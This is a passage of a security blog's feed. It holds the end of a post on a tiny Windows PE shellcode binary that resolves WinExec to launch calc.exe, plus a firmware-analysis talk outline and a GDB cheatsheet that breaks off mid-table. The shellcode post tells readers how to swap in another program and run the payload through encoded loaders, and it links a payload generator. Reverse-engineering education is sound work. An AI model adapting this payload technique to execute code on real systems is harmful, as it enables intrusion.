&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x65747379&lt;/span> &lt;span class="c1">; 6879737465 ;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x535c7377&lt;/span> &lt;span class="c1">; 6877735c53 ;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x6f646e69&lt;/span> &lt;span class="c1">; 68696e646f ;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x575c3a43&lt;/span> &lt;span class="c1">; 68433a5c57 ;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">esi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">esp&lt;/span> &lt;span class="c1">; 89e6 ; ESI=&amp;#34;C:\Windows\System32\calc.exe&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0xa&lt;/span> &lt;span class="c1">; 6a0a ; window state SW_SHOWDEFAULT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">esi&lt;/span> &lt;span class="c1">; 56 ; &amp;#34;C:\Windows\System32\calc.exe&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">eax&lt;/span> &lt;span class="c1">; ffd0 ; WinExec&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">esp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x46&lt;/span> &lt;span class="c1">; 83c446 ; Clear the stack&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The binary starts with a short jump back into the headers, and then leaps around
to set up WinExec on the stack and begin to parse the PEB, before jumping back
to the main code section and continuing execution there.&lt;/p>
&lt;p>If WinExec isn&amp;rsquo;t found, it returns back into the headers to execute the final
ret instruction.&lt;/p>
&lt;p>The payload ends kind of abruptly. You could simply just not include the last
instruction after &lt;code>call eax&lt;/code>, but I didn&amp;rsquo;t have anything else to put there so
I just left it to keep the size.&lt;/p>
&lt;h2 id="what-do-i-use-this-for">What do I use this for?&lt;/h2>
&lt;p>&lt;img src="https://n0.lol/windows-10-tiny-pe.png" alt="">&lt;/p>
&lt;p>You can modify the last portion of code in the &lt;code>locate&lt;/code> label to push whatever
program you want to execute, in this case &lt;code>&amp;quot;C:\Windows\System32\calc.exe&amp;quot;&lt;/code>, onto
the stack, and execute something else. You&amp;rsquo;ll have to make sure you allocate
enough stack space for yourself and place arguments in the right place if they
are required.&lt;/p>
&lt;p>You can use powershell or some lolbins or whatever elite FUD 100% battle tested
&amp;ldquo;plz don&amp;rsquo;t upload to VT or ur ded!!&amp;rdquo; binary loader to execute a base64 encoded
version of this binary.&lt;/p>
&lt;p>Check out my other small binaries on &lt;a href="https://github.com/netspooky/golfclub">Github&lt;/a>!&lt;/p>
&lt;p>Download the POC binary &lt;a href="https://n0.lol/tiny268.exe">here&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://n0.lol/kimagure/">Payload generator&lt;/a> for WinExec method&lt;/p>
&lt;h2 id="shoutouts">Shoutouts&lt;/h2>
&lt;p>Thanks to dnz, readme, xehle, secfarmer, remy, Ange Albertini, Iliya Dafchev,
and everyone in the Binary Analysis and Exploit Dev chans I dump crap into.&lt;/p></description></item><item><title>Intro to Firmware Analysis (PancakesCon2020)</title><link>https://n0.lol/intro-to-firmware-analysis/</link><pubDate>Sun, 22 Mar 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/intro-to-firmware-analysis/</guid><description>&lt;p>Establishing the goals for doing firmware analysis is important, ask yourself
the following:&lt;/p>
&lt;ul>
&lt;li>Are you looking for modify functionality?&lt;/li>
&lt;li>Are you looking for vulns?&lt;/li>
&lt;li>Are you looking for sensitive info?&lt;/li>
&lt;li>Are you looking for protocols?&lt;/li>
&lt;li>Do you just want to understand how it works?&lt;/li>
&lt;/ul>
&lt;p>Here is a good set of basic questions to try and answer throughout analysis.&lt;/p>
&lt;p>Basic Questions&lt;/p>
&lt;ul>
&lt;li>What is the target device used for?&lt;/li>
&lt;li>What is the underlying processor arch&lt;/li>
&lt;li>What features does it support?&lt;/li>
&lt;li>What type of operating system runs on the device?
&lt;ul>
&lt;li>Is it embedded Linux/Windows?&lt;/li>
&lt;li>Is it an RTOS?&lt;/li>
&lt;li>Is it some bare bones application code?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What other chips are onboard?&lt;/li>
&lt;li>What type of programs run on it?&lt;/li>
&lt;/ul>
&lt;p>Getting a hold of firmware&lt;/p>
&lt;ul>
&lt;li>Vendor Websites&lt;/li>
&lt;li>OSINT&lt;/li>
&lt;li>Analyzing fw updater apps&lt;/li>
&lt;li>PCAPS&lt;/li>
&lt;li>Directly interfacing with hardware
&lt;ul>
&lt;li>Talk: &lt;a href="https://www.youtube.com/watch?v=95vRsoGG9dc">Hardware Hacking for the Masses (and you!)&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Firmware File&lt;/p>
&lt;ul>
&lt;li>How is firmware updated?&lt;/li>
&lt;li>What is the file format of the firmware?&lt;/li>
&lt;li>Is it encrypted?&lt;/li>
&lt;li>Is the firmware a full image, or just a sort of patch?&lt;/li>
&lt;/ul>
&lt;p>Interaction&lt;/p>
&lt;ul>
&lt;li>How do you interact with the device as a user?&lt;/li>
&lt;li>How would you interact with the device as a developer?&lt;/li>
&lt;li>What inputs and outputs might this device have?&lt;/li>
&lt;li>How does the device firmware interact with hardware devices and
non-volatile memory?&lt;/li>
&lt;/ul>
&lt;p>Vulns and Prior Research&lt;/p>
&lt;ul>
&lt;li>Are there known vulnerabilities for this device or any of technologies used?&lt;/li>
&lt;li>Are there any write ups / blog posts / data sheets about this device?&lt;/li>
&lt;/ul>
&lt;p>Techniques&lt;/p>
&lt;p>Binary Information and RE&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/radareorg/radare2">radare2&lt;/a> / &lt;a href="https://radare.gitbooks.io/radare2book/tools/rabin2/intro.html">rabin2&lt;/a> / all the radare2 suite&lt;/li>
&lt;/ul>
&lt;p>File Carving&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/ReFirmLabs/binwalk">binwalk&lt;/a> + all the &lt;a href="https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md">filesystem unpackers&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Emulation&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.novetta.com/2018/02/emulating-embedded-linux-systems-with-qemu/">QEMU&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ownyourbits.com/2018/06/27/running-and-building-arm-docker-containers-in-x86/">Docker&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/therealsaumil/armx">ARM-X&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/firmadyne/firmadyne">Firmadyne&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Binary Diffing&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://radareorg.github.io/blog/posts/binary-diffing/">Binary Diffing with Radare2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.threatrack.de/2019/10/02/ghidra-patch-diff/">Patch Diffing with Ghidra&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.darungrim.org/">DarunGrim&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Firmware used in this talk:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip">WNAP320 Firmware Version 2.0.3&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Further Resources&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=GIU4yJn2-2A">Introduction to Firmware Reversing&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=hV8W4o-Mu2o">Backdooring a smart camera by creating a malicious firmware upgrade&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=2Tik3ut9Wa0">Sheila Ayelen Berta - Backdooring Hardware by Injecting Malicious Payloads&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=Qvxa6o2oNS0">Dennis Giese - How to modify ARM Cortex M based firmware &lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=Fi_S2F7ud_g">Using Static Binary Analysis To Find Vulnerabilities And Backdoors In Firmware&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Inspiration&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=qbTgDfB0cao">30C3: Even More Tamagotchis Were Harmed in the Making of this Presentation&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>GDB Cheatsheet</title><link>https://n0.lol/cheatsheets/gdb/</link><pubDate>Sat, 01 Feb 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/cheatsheets/gdb/</guid><description>&lt;p>Here are some notes and things I&amp;rsquo;ve referenced for gdb.&lt;/p>
&lt;p>I highly recommend using the gef extension for gdb: &lt;a href="https://github.com/hugsy/gef">https://github.com/hugsy/gef&lt;/a>&lt;/p>
&lt;p>Unsorted&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://klatz.co/ctf-blog/stdin-to-gdb">https://klatz.co/ctf-blog/stdin-to-gdb&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="basics">Basics&lt;/h2>
&lt;p>Here are some of the most basic gdb commands.&lt;/p>
&lt;p>Start the program with arguments&lt;/p>
&lt;pre tabindex="0">&lt;code>gdb --args ./myprogram -f myfile
&lt;/code>&lt;/pre>&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>starti&lt;/td>
&lt;td>Start at the first instruction&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>stepi&lt;/td>
&lt;td>Step 1 assembly instruction&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>break *0x400000&lt;/td>
&lt;td>Set a breakpoint on address 0x400000&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>continue&lt;/td>
&lt;td>Continue execution, will stop at breakpoints&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>vmmap&lt;/td>
&lt;td>(gef only) Show process memory map&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>hexdump byte &amp;ndash;size 256 0x400000&lt;/td>
&lt;td>(gef only) See a hex dump of bytes at a address 0x400000&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>p *object&lt;/td>
&lt;td>Show details of object&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>search-pattern 0x41414141&lt;/td>
&lt;td>(gef only) Search for bytes \x41\x41\x41\x41 (&amp;ldquo;AAAA&amp;rdquo;) in memory&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>More Info:&lt;/p>
&lt;ul>
&lt;li>&lt;!-- raw HTML omitted -->&lt;a href="https://azeria-labs.com/debugging-with-gdb-introduction/">https://azeria-labs.com/debugging-with-gdb-introduction/&lt;/a>&lt;!-- raw HTML omitted -->&lt;/li>
&lt;/ul>
&lt;h2 id="remote-gdb">Remote GDB&lt;/h2>
&lt;p>You can connect to programs on different machines using remote GDB. You can also use it to connect to local programs that support remote GDB like QEMU.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html">https://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="commands">Commands&lt;/h2>
&lt;p>Adapted this guide from a cheatsheet I found but lost the link to
Related cheat sheet: &lt;a href="./gef.md">gef&lt;/a>&lt;/p>
&lt;p>More important commands have !&lt;/p>
&lt;h3 id="startup">Startup&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>gdb -help&lt;/td>
&lt;td>print startup help, show switches&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>gdb object&lt;/td>
&lt;td>! normal debug&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>gdb object core&lt;/td>
&lt;td>! core debug (must specify core file)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>gdb object pid&lt;/td>
&lt;td>attach to running process&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>gdb&lt;/td>
&lt;td>use file command to load object&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="help">Help&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>help&lt;/td>
&lt;td>! list command classes&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help running&lt;/td>
&lt;td>list commands in one command class&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help run&lt;/td>
&lt;td>bottom-level help for a command &amp;ldquo;run&amp;rdquo;&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help info&lt;/td>
&lt;td>list info commands (running program state)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help info line&lt;/td>
&lt;td>help for a particular info command&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help show&lt;/td>
&lt;td>list show commands (gdb state)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help show commands&lt;/td>
&lt;td>specific help for a show command&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="breakpoints">Breakpoints&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>break main&lt;/td>
&lt;td>! set a breakpoint on a function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>break 101&lt;/td>
&lt;td>! set a breakpoint on a line number&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>break basic.c:101&lt;/td>
&lt;td>! set breakpoint at file and line (or function)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>break *0xaddress&lt;/td>
&lt;td>! Break on an address&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info breakpoints&lt;/td>
&lt;td>! show breakpoints&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>delete 1&lt;/td>
&lt;td>! delete a breakpoint by number&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>delete&lt;/td>
&lt;td>delete all breakpoints (prompted)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>clear&lt;/td>
&lt;td>delete breakpoints at current line&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>clear function&lt;/td>
&lt;td>delete breakpoints at function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>clear line&lt;/td>
&lt;td>delete breakpoints at line&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>disable 2&lt;/td>
&lt;td>turn a breakpoint off, but don&amp;rsquo;t remove it&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>enable 2&lt;/td>
&lt;td>turn disabled breakpoint back on&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>tbreak function&lt;/td>
&lt;td>line&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>commands break-no &amp;hellip; end&lt;/td>
&lt;td>set gdb commands with breakpoint&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ignore break-no count&lt;/td>
&lt;td>ignore bpt N-1 times before activation&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>condition break-no expr&lt;/td>
&lt;td>break only if condition (expr/expression) is true&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>condition 2 i == 20&lt;/td>
&lt;td>example: break on breakpoint 2 if i equals 20&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>watch expression&lt;/td>
&lt;td>set software watchpoint on variable&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info watchpoints&lt;/td>
&lt;td>show current watchpoints&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="running-the-program">Running the program&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>set step-mode on&lt;/td>
&lt;td>! This stops at the first instruction of a function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>starti&lt;/td>
&lt;td>! Go to the first instruction to execute&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>run&lt;/td>
&lt;td>! run the program with current arguments&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>run args redirection&lt;/td>
&lt;td>! run with args and redirection&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>set args args&amp;hellip;&lt;/td>
&lt;td>set arguments for run&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>show args&lt;/td>
&lt;td>show current arguments to run&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cont&lt;/td>
&lt;td>! continue the program&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>step&lt;/td>
&lt;td>! single step the program; step into functions&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>stepi&lt;/td>
&lt;td>! step to next instruction&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>step count&lt;/td>
&lt;td>single step \fIcount\fR times&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>next&lt;/td>
&lt;td>! step but step over functions&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>next count&lt;/td>
&lt;td>next \fIcount\fR times&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>CTRL-C&lt;/td>
&lt;td>! actually SIGINT, stop execution of current program&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>attach process-id&lt;/td>
&lt;td>! attach to running program&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>detach&lt;/td>
&lt;td>! detach from running program&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>finish&lt;/td>
&lt;td>! finish current function&amp;rsquo;s execution&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kill&lt;/td>
&lt;td>kill current executing program&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="stack-backtrace">Stack backtrace&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>x/100x $sp&lt;/td>
&lt;td>! print 100 bytes from the stack pointer&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>bt&lt;/td>
&lt;td>! print stack backtrace&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>frame&lt;/td>
&lt;td>show current execution position&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>up&lt;/td>
&lt;td>move up stack trace (towards main)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>down&lt;/td>
&lt;td>move down stack trace (away from main)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info locals&lt;/td>
&lt;td>! print automatic variables in frame&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info args&lt;/td>
&lt;td>print function parameters&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="browsing-source">Browsing source&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>list 101&lt;/td>
&lt;td>! list 10 lines around line 101&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>list 1,10&lt;/td>
&lt;td>! list lines 1 to 10&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>list main&lt;/td>
&lt;td>! list lines around function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>list basic.c:main&lt;/td>
&lt;td>! list from another file basic.c&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>list -&lt;/td>
&lt;td>! list previous 10 lines&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>list *0x22e4&lt;/td>
&lt;td>list source at address&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cd dir&lt;/td>
&lt;td>change current directory to \fIdir\fR&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pwd&lt;/td>
&lt;td>print working directory&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>search regexpr&lt;/td>
&lt;td>forward current for regular expression&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>reverse-search regexpr&lt;/td>
&lt;td>backward search for regular expression&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dir dirname&lt;/td>
&lt;td>add directory to source path&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dir&lt;/td>
&lt;td>reset source path to nothing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>show directories&lt;/td>
&lt;td>show source path&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="browsing-data">Browsing Data&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>print expression&lt;/td>
&lt;td>! print expression, added to value history&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print/x expressionR&lt;/td>
&lt;td>! print in hex&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print array[i]@count&lt;/td>
&lt;td>artificial array - print array range&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print $&lt;/td>
&lt;td>print last value&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print *$-&amp;gt;next&lt;/td>
&lt;td>print thru list&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print $1&lt;/td>
&lt;td>print value 1 from value history&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print ::gx&lt;/td>
&lt;td>force scope to be global&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print &amp;lsquo;basic.c&amp;rsquo;::gx&lt;/td>
&lt;td>global scope in named file (&amp;gt;=4.6)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print/x &amp;amp;main&lt;/td>
&lt;td>print address of function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x/countFormatSize address&lt;/td>
&lt;td>low-level examine command&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x/x &amp;amp;gx&lt;/td>
&lt;td>print gx in hex&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x/4wx &amp;amp;main&lt;/td>
&lt;td>print 4 longs at start of \fImain\fR in hex&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x/gf &amp;amp;gd1&lt;/td>
&lt;td>print double&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>help x&lt;/td>
&lt;td>show formats for x&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info locals&lt;/td>
&lt;td>! print local automatics only&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info functions regexp&lt;/td>
&lt;td>print function names&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info variables regexp&lt;/td>
&lt;td>print global variable names&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ptype name&lt;/td>
&lt;td>! print type definition&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>whatis expression&lt;/td>
&lt;td>print type of expression&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>set variable = expression&lt;/td>
&lt;td>! assign value&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>display expression&lt;/td>
&lt;td>display expression result at stop&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>undisplay&lt;/td>
&lt;td>delete displays&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info display&lt;/td>
&lt;td>show displays&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>show values&lt;/td>
&lt;td>print value history (&amp;gt;= gdb 4.0)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info history&lt;/td>
&lt;td>print value history (gdb 3.5)&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="object-file-manipulation">Object File Manipulation&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>file object&lt;/td>
&lt;td>load new file for debug (sym+exec)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>file&lt;/td>
&lt;td>discard sym+exec file info&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>symbol-file object&lt;/td>
&lt;td>load only symbol table&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>exec-file object&lt;/td>
&lt;td>specify object to run (not sym-file)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>core-file core&lt;/td>
&lt;td>post-mortem debugging&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="signal-control">Signal Control&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>info signals&lt;/td>
&lt;td>print signal setup&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle signo actions&lt;/td>
&lt;td>set debugger actions for signal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle INT print&lt;/td>
&lt;td>print message when signal occurs&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle INT noprint&lt;/td>
&lt;td>don&amp;rsquo;t print message&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle INT stop&lt;/td>
&lt;td>stop program when signal occurs&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle INT nostop&lt;/td>
&lt;td>don&amp;rsquo;t stop program&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle INT pass&lt;/td>
&lt;td>allow program to receive signal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>handle INT nopass&lt;/td>
&lt;td>debugger catches signal; program doesn&amp;rsquo;t&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>signal signo&lt;/td>
&lt;td>continue and send signal to program&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>signal 0&lt;/td>
&lt;td>continue and send no signal to program&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="machine-level-debug">Machine-level Debug&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>info registers&lt;/td>
&lt;td>print registers sans floats&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info all-registers&lt;/td>
&lt;td>print all registers&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print/x $pc&lt;/td>
&lt;td>print one register&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>stepi&lt;/td>
&lt;td>single step at machine level&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>si&lt;/td>
&lt;td>single step at machine level&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>nexti&lt;/td>
&lt;td>single step (over functions) at machine level&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ni&lt;/td>
&lt;td>single step (over functions) at machine level&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>display/i $pc&lt;/td>
&lt;td>print current instruction in display&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x/x &amp;amp;gx&lt;/td>
&lt;td>print variable gx in hex&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info line 22&lt;/td>
&lt;td>print addresses for object code for line 22&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info line *0x2c4e&lt;/td>
&lt;td>print line number of object code at address&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x/10i main&lt;/td>
&lt;td>disassemble first 10 instructions in \fImain\fR&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>disassemble addr&lt;/td>
&lt;td>dissassemble code for function around addr&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="history-display">History Display&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>show commands&lt;/td>
&lt;td>print command history (&amp;gt;= gdb 4.0)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>info editing&lt;/td>
&lt;td>print command history (gdb 3.5)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ESC-CTRL-J&lt;/td>
